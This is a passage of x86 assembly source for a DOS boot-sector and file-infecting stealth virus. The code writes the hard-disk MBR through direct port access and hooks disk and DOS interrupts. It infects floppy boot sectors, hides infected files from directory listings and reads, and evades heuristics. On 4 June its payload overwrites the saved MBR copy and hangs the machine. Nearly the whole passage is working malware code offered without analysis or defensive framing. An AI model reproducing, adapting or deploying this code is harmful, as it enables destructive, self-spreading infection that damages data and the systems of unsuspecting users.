exe_cs dw 0000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exit program if launcher execution ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ exit_launcher: ;Get .sys parameter block pointer pop bx ;Restore segment registers pop es pop ds ;Use terminate program in droppers mov ax,4C00h int 21h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Write hard drive mbr using direct port access ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ hd_write_port: ;Save some reg push cx push dx push si ;Get offset of write buffer mov si,bx call pause_some_ms try_hd_port_again: ;Enable disk reset (FDC) mov dx,03F6h mov al,04h out dx,al call pause_some_ms xor al,al out dx,al call pause_some_ms ;Send drive 00h and head 00h mov dx,01F6h mov al,0A0h out dx,al call pause_some_ms ;Prepare drive to write at cylinder 00h mov dx,01F7h mov al,10h out dx,al call wait_drive_ready ;Check for errors on drive operation mov dx,01F1h in al,dx and al,68h jnz try_hd_port_again call wait_drive_ready ;Send number of sectors to write ( 01h sector ) mov dx,01F2h mov al,01h out dx,al call pause_some_ms ;Send sector mov dx,01F3h mov al,01h out dx,al call pause_some_ms ;Send cylinder high mov dx,01F4h xor al,al out dx,al call pause_some_ms ;Send cylinder low mov dx,01F5h xor al,al out dx,al call pause_some_ms ;Send drive and head mov dx,01F6h mov al,0A0h out dx,al call pause_some_ms ;Send command (write sector without retry) mov dx,01F7h mov al,31h out dx,al call wait_seek_ready ;Send data to port ( 0100h words for 01h sector ) mov cx,0100h mov dx,01F0h cld rep outsw call wait_drive_ready exit_mbr_infection: ;Restore regs and return pop si pop dx pop cx ret wait_drive_ready: ;Check drive-ready flag mov dx,01F7h still_working: in al,dx test al,80h jnz still_working ret wait_seek_ready: call wait_drive_ready ;Check if seek operation complete test al,08h jz wait_seek_ready ret pause_some_ms: mov cx,0008h void_loop: loop void_loop ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus int 1Ch handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my_int1Ch: ;Do not use this handler if file infection is active cmp byte ptr cs:[file_infection_flag],0FFh je my1Ch_exit ;Inc virus timer counter inc word ptr cs:[virus_timer] ;Check if time to hook dos cmp word ptr cs:[virus_timer],0100h jne not_time_for_dos ;Try to hook dos call hook_dos jmp short my1Ch_exit not_time_for_dos: ;Check if time to start infecting files cmp word ptr cs:[virus_timer],1000h jne my1Ch_exit ;Set file infection flag and stop virus timer mov byte ptr cs:[file_infection_flag],0FFh my1Ch_exit: ;Get control back to old int 1Ch jmp dword ptr cs:[old1Ch] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus int 12h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my_int12h: ;Perform int call pushf call dword ptr cs:[old12h] ;Installation check cmp si,00BADh jne not_check_v cmp di,0FACEh jne not_check_v ;Check if call comes from infected .com or .exe files cmp cx,029Ah jne not_from_exe_com call hook_dos not_from_exe_com: ;Im here!!! mov si,0DEADh mov di,0BABEh not_check_v: iret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus int 13h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my_int13h: ;Hook dos on first write operation cmp ah,03h jne look_mbr call hook_dos look_mbr: ;Check for head 00h or dh,dh jnz my13h_exit ;Take care about track 00h or ch,ch jne my13h_exit ;Floppy or hd? cmp dl,80h je is_hd_operation or dl,dl jz is_floppy_operation jmp my13h_exit is_hd_operation: ;Check for write operations cmp ah,03h je hd_write ;Check for extended write operations cmp ah,0Bh je hd_write ;Check for read operations cmp ah,02h je hd_read ;Check for extended read operations cmp ah,0Ah je hd_read my13h_exit: ;Get control back to old int 13h jmp dword ptr cs:[old13h] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Monitoring hd write operations ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ hd_write: ;Trying to overwrite virus sectors? cmp cl,04h+inf_sect_size ja my13h_exit ;Return without error clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Monitoring hd read operations ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ hd_read: ;Trying to read infected mbr? cmp cl,01h je stealth_mbr ;Trying to read sectors on witch virus resides? cmp cl,04h+inf_sect_size ja my13h_exit ;Return with error stc retf 02h stealth_mbr: ;Redirect reads to infected mbr into the clean copy mov al,01h mov cl,03h pushf call dword ptr cs:[old13h] jc mbr_stealth_error ;Decrypt mbr call crypt_sector clc mbr_stealth_error: retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Perform encryption over es:[bx] 0200h byte ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ crypt_sector: push ax push cx push di mov cx,0200h/02h mov di,bx cld sector_loop_crypt: mov ax,word ptr es:[di] not ax stosw loop sector_loop_crypt pop di pop cx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus floppy infection routine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ is_floppy_operation: ;Check of buffer in use by int 21h handler cmp byte ptr cs:[running_sw],00h jne my13h_exit ;Check read operations cmp ah,02h jne my13h_exit ;Over sector 01h cmp cl,01h jne my13h_exit ;Perform read operation call do_int13h jnc ok_floppy_read retf 02h ok_floppy_read: ;Save all regs, we are going to trash them call push_all ;Check if floppy already infected call get_position cmp word ptr es:[di+boot_marker-boot_code],"RC" jne not_infected ;Read original boot sector call pop_all call read_boot_extra retf 02h not_infected: ;Check for mbr marker also in floppy cmp word ptr es:[bx+01FEh],0AA55h jne exit_floppy_infection ;Check if dos has been loaded cmp byte ptr cs:[dos_flag],0FFh je environment_ready exit_floppy_infection: call pop_all clc retf 02h environment_ready: ;Choose disk device parameter table mov ax,word ptr es:[bx+13h] mov di,offset floppy5_25 cmp ax,0960h je ok_ddpt_index mov di,offset floppy3_5 cmp ax,0B40h jne exit_floppy_infection ok_ddpt_index: ;Save some regs push es push bx push dx ;Get int 1Eh (address where bios stores a pointer to ddpt) mov al,1Eh call get_int ;Save int 1Eh mov word ptr cs:[old1Eh_off],bx mov word ptr cs:[old1Eh_seg],es ;Hook int 1Eh to our ddpt push cs pop ds mov dx,di call set_int ;Point to format table ;(Track 50h,side 00h,200h bytes per sector) push cs pop es mov bx,offset format_table ;Format the extra track mov ax,0501h+inf_sect_size mov cx,5001h pop dx call do_int13h jnc extra_track_done ;Restore pointer to read buffer pop bx pop es jmp abort_floppy extra_track_done: ;Restore pointer to read buffer pop bx pop es ;Write original boot sector on first extra sector mov ax,0301h call do_int13h jc abort_floppy ;Copy virus body from hd to floppy ( sector by sector ) mov cx,inf_sect_size copy_hd_sector: push cx mov al,cl mov cl,inf_sect_size+04h sub cl,al mov dl,80h mov ax,0201h call do_int13h jnc hd_sector_ready replication_error: pop cx call read_boot_extra jmp abort_floppy hd_sector_ready: mov ch,50h sub cl,02h xor dl,dl mov ax,0301h call do_int13h jc replication_error pop cx loop copy_hd_sector ;Read original boot sector saved on extra track call read_boot_extra jc abort_floppy ;Save virus position on disk inc cl mov word ptr cs:[load_cx],cx ;Move virus loader into boot sector call get_position mov si,offset boot_code mov cx,boot_size cld rep movsb ;Write loader over floppy boot sector mov ax,0301h mov cl,01h call do_int13h ;Get original boot sector again call read_boot_extra abort_floppy: ;Restore int 1Eh lds dx,dword ptr cs:[old1Eh] mov al,1Eh call set_int jmp exit_floppy_infection read_boot_extra: ;Read original boot sector saved on extra track mov ax,0201h mov cx,5001h call do_int13h ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Perform int 13h call ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ do_int13h: ;Check for floppy write operations cmp ah,03h jne do_not_use40h or dl,dl jz use_int40h do_not_use40h: ;Perform call pushf call dword ptr cs:[old13h] ret use_int40h: ;Perform call using int 40h pushf call dword ptr cs:[old40h] ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus loader ( inserted into hd mbr and floppy boot sectors ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ boot_code: ;Setup stack and segment regs cli xor ax,ax mov ss,ax mov es,ax mov ds,ax mov sp,7C00h sti ;Prepare for reading virus body mov ax,0200h+inf_sect_size ;Read at 0000h:7E00h mov bx,7E00h ;Get position in disk ;mov cx,XXXXh db 0B9h load_cx dw 0000h sub dh,dh ;Read virus body next to loader int 13h jc error_init ;Continue execution on virus body push es push bx retf error_init: ;Error during virus initialization int 18h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Floppy boot sector infected marker ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ boot_marker db "CR" ;End of boot code boot_end equ this byte ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Hook int 21h ( try to find original int 21h address using psp tracing ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ hook_dos: ;Save regs call push_all ;Check if dos has been loaded cmp byte ptr cs:[dos_flag],00h jne exit_wait ;Set dos loaded flag mov byte ptr cs:[dos_flag],0FFh ;Restore bios allocated memory xor ax,ax mov ds,ax add word ptr ds:[0413h],mem_kb_size ;Check dos version mov ah,30h int 21h cmp al,04h jb exit_wait ;Get our segment push cs pop ds ;Get int 21h vector mov al,21h call get_int ;Save old int 21h vector mov word ptr ds:[old21h_off],bx mov word ptr ds:[old21h_seg],es ;Save old 21h as original for errors on psp tracing mov word ptr ds:[org21h_off],bx mov word ptr ds:[org21h_seg],es ;Point int 21h to our handler mov dx,offset my_int21h call set_int ;Try to find original 21h tracing psp mov ah,62h int 21h mov es,bx ;Point ds:si to dispatch handler lds si,dword ptr es:[0006h] trace_loop: ;Check if there is a jump instruction cmp byte ptr ds:[si],0EAh jne try_dispatcher ;Check if there is a double-nop lds si,dword ptr ds:[si+01h] mov ax,9090h cmp ax,word ptr ds:[si] jne trace_loop ;Sub offset from dispatcher sub si,32h ;Check if there is a double-nop cmp ax,word ptr ds:[si] je found_original try_dispatcher: ;Check for cs prefix and push ds cmp word ptr ds:[si],2E1Eh jne exit_wait ;Add offset from dispatcher add si,0025h ;Check for cli and push ax instructions cmp word ptr ds:[si],80FAh jne exit_wait found_original: ;Save found address mov word ptr cs:[org21h_off],si mov word ptr cs:[org21h_seg],ds exit_wait: ;Restore regs and return call pop_all ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus int 21h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my_int21h: ;Save entry regs call push_all ;Get our code segment int ds push cs pop ds ;Set int 21h running switch mov byte ptr ds:[running_sw],0FFh ;Anti-heuristic function number examination xor ax,0FFFFh mov word ptr ds:[dos_function],ax ;Get int 24h vector mov al,24h call get_int ;Save old int 24h mov word ptr ds:[old24h_seg],es mov word ptr ds:[old24h_off],bx ;Hook int 24h to a do-nothing handler mov dx,offset my_int24h call set_int ;Check for special files mov ah,62h call dos_call dec bx mov es,bx mov ax,word ptr es:[0008h] mov byte ptr ds:[stealth_sw],00h ;Check if arj is running cmp ax,"RA" je disable_stealth ;Check for pkzip utils cmp ax,"KP" je disable_stealth ;Check for lha cmp ax,"HL" je disable_stealth ;Check for backup cmp ax,"AB" je disable_stealth jmp no_running disable_stealth: mov byte ptr ds:[stealth_sw],0FFh no_running: ;Restore and re-save all regs call pop_all call push_all ;Put function number into bx mov bx,word ptr cs:[dos_function] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Check for activation circunstances ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ activation_00: ;Get dos date cmp bh,(2Ah xor 0FFh) jne infection_00 jmp dos_get_date ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infection functions ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ infection_00: ;Exec function ( save filename for later infection ) cmp bx,(4B00h xor 0FFFFh) jne infection_01 jmp dos_exec infection_01: ;Close file (Handle) cmp bh,(3Eh xor 0FFh) jne infection_02 jmp dos_close infection_02: ;Get or set file attribute cmp bh,(43h xor 0FFh) jne infection_03 jmp infect_file_ds_dx infection_03: ;Rename or move file cmp bh,(56h xor 0FFh) jne infection_04 jmp infect_file_ds_dx infection_04: ;Terminate program ( infect executed program ) cmp bh,(4Ch xor 0FFh) jne stealth_dos jmp dos_terminate_prog ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Stealth functions ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ stealth_dos: ;Check if stealth is disabled cmp byte ptr cs:[stealth_sw],0FFh je m21h_exit ;Open file (Handle) cmp bh,(3Dh xor 0FFh) jne stealth_00 jmp dos_open stealth_00: ;Extended open cmp bh,(6Ch xor 0FFh) jne stealth_01 jmp dos_open stealth_01: ;Directory stealth works with function Findfirst (fcb) cmp bh,(11h xor 0FFh) jne stealth_02 jmp ff_fcb stealth_02: ;Directory stealth works also with function Findnext(fcb) cmp bh,(12h xor 0FFh) jne stealth_03 jmp ff_fcb stealth_03: ;Search stealth works with Findfirst (handle) cmp bh,(4Eh xor 0FFh) jne stealth_04 jmp ff_handle stealth_04: ;Search stealth works also with Findnext (handle) cmp bh,(4Fh xor 0FFh) jne stealth_05 jmp ff_handle stealth_05: ;Read stealth cmp bh,(3Fh xor 0FFh) jne stealth_06 jmp dos_read stealth_06: ;Disinfect if debuggers exec cmp bx,(4B01h xor 0FFFFh) jne stealth_07 jmp dos_load_exec stealth_07: ;Disinfect if file write cmp bh,(40h xor 0FFh) jne stealth_08 jmp dos_write stealth_08: ;Get file date/time cmp bx,(5700h xor 0FFFFh) jne stealth_09 jmp dos_get_time stealth_09: ;Set file date/time cmp bx,(5701h xor 0FFFFh) jne m21h_exit jmp dos_set_time m21h_exit: ;Free int 24h call unhook_ints call pop_all ;Get control back to dos jmp dword ptr cs:[old21h] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get dos date and payload ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_get_date: ;Get regs values on function entry call pop_all ;Call dos function call dos_call ;Check if date is 4th of June cmp dx,0604h je activate_now clc retf 02h activate_now: ;Reset hd xor ax,ax int 13h ;Overwrite mbr copy mov bx,ax mov ax,0301h mov cx,0003h mov dx,0080h int 13h ;Set video-mode 80*25 16-Colors mov ax,0003h int 10h ;Set cursor position mov ah,02h xor bh,bh mov dx,0B16h int 10h ;Print string + beep push cs pop ds mov si,offset txt_credits_1 call loop_beep_string ;Set cursor position mov ah,02h xor bh,bh mov dx,0C16h int 10h ;Print string + beep push cs pop ds mov si,offset txt_credits_2 call loop_beep_string hang_machine: ;Endless loops rulez :P jmp hang_machine ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Directory stealth with functions 11h and 12h (fcb) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ff_fcb: ;Call dos function call pop_all call dos_call ;Save all regs call push_all ;Check for errors cmp al,255 je nofound_fcb ;Get current PSP mov ah,62h call dos_call ;Check if call comes from DOS mov es,bx cmp bx,es:[16h] jne nofound_fcb mov bx,dx mov al,ds:[bx+00h] push ax ;Get DTA mov ah,2Fh call dos_call pop ax inc al jnz fcb_ok add bx,07h fcb_ok: ;Check if infected mov ax,word ptr es:[bx+17h] and al,1Fh cmp al,1Fh jne nofound_fcb ;Restore seconds and byte ptr es:[bx+17h],0E0h ;Restore original file size sub word ptr es:[bx+1Dh],inf_byte_size sbb word ptr es:[bx+1Fh],0000h nofound_fcb: ;Restore some registers and return call unhook_ints call pop_all iret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Search stealth with functions 4Eh and 4Fh (handle) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ff_handle: ;Call dos function call pop_all call dos_call jnc ffhok ;Exit if error, return flags to caller call unhook_ints stc retf 02h ffhok: ;Save result call push_all ;Get DTA mov ah,2Fh call dos_call ;Check if infected mov ax,word ptr es:[bx+16h] and al,1Fh cmp al,1Fh jne nofound_handle ;Restore seconds field and byte ptr es:[bx+16h],0E0h ;Restore original size sub word ptr es:[bx+1Ah],inf_byte_size sbb word ptr es:[bx+1Ch],0000h nofound_handle: ;Restore some registers and exit call unhook_ints call pop_all clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exec ( load program ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_load_exec: ;Open file for read-only mov ax,3D00h call dos_call jnc loaded jmp m21h_exit loaded: xchg bx,ax jmp do_disinfect ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Write to file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_write: call pop_all call push_all do_disinfect: ;Get sft address in es:di call get_sft jc bad_operation ;Check if file is infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je clear_header bad_operation: jmp load_error clear_header: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Get file true size if write operation cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) jne no_size_fix ;Add virus size to file size add word ptr es:[di+11h],inf_byte_size adc word ptr es:[di+13h],0000h no_size_fix: ;Point to old header in file call seek_end sub word ptr es:[di+15h],file_header_size+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,file_header_size+01h mov dx,offset old_header call dos_call jc exit_disin ;Decrypt header call decrypt_header ;Write old header call seek_begin mov dx,offset old_header mov ah,40h mov cx,file_header_size call dos_call ;Truncate file call seek_end sub word ptr es:[di+15h],inf_byte_size sbb word ptr es:[di+17h],0000h xor cx,cx mov ah,40h call dos_call exit_disin: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date and file time on closing or byte ptr es:[di+06h],40h ;Clear seconds field and byte ptr es:[di+0Dh],0E0h load_error: ;Check if write function cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) je not_load ;Close file mov ah,3Eh call dos_call not_load: jmp m21h_exit ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get file date/time ³ 